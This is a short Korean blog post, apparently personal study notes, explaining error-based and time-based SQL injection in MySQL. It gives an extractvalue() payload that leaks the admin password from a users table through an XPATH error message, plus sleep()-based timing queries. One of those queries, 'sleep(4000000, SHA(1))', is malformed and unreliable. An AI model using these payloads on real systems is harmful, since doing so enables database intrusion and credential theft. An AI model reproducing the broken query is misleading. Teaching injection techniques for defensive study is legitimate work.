반응형
Error based SQL Injection
임의로 에러를 발생시켜 데이터베이스 및 운영체제 정보 획득하는 공격 기법
실행결과를 출력하는 코드가 존재하지 않고 쿼리 실행 결과만 판단한다.
오류 발생 시 발생원인이 출력되며, 오류메시지를 통해 공격에 필요한 다양한 정보 수집이 가능하다.
- 공격 코드
select extractvalue(1,concat(0x3a, version()));
에러 메시지에 운영체제에 대한 정보가 포함된다.
- extractvalue
extractvalue([XML 데이터],[XPATH 식])
첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH 식을 통해 데이터 추출이 가능하다.
두번째 인자가 올바르지 않은 XPATH 식일 경우, 에러메시지와 함께 잘못된 식이 출력된다.
- extractvalue 응용
select extractvalue(1,concat(0x3a,(select password from users where username='admin')));
데이터베이스 정보 추출이 가능하다.
-> ERROR 1105(HY000): XPATH syntax error : [password]
2023.01.24 - [programming/sql] - extractvalue()
Time based SQL Injection
시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 방법
- heavy query
시간이 많이 소요되는 연산을 수행
sleep() 함수
- mysql example
select sleep(1);
select sleep(4000000, SHA(1));
반응형
'security > web' 카테고리의 다른 글
file url schema (0) | 2023.08.20 |
---|---|
127.0.0.1 / localhost 우회 (0) | 2023.08.20 |
CouchDBMS (0) | 2023.08.19 |
CSS Injection (0) | 2023.07.15 |
필터링 우회 (0) | 2023.01.22 |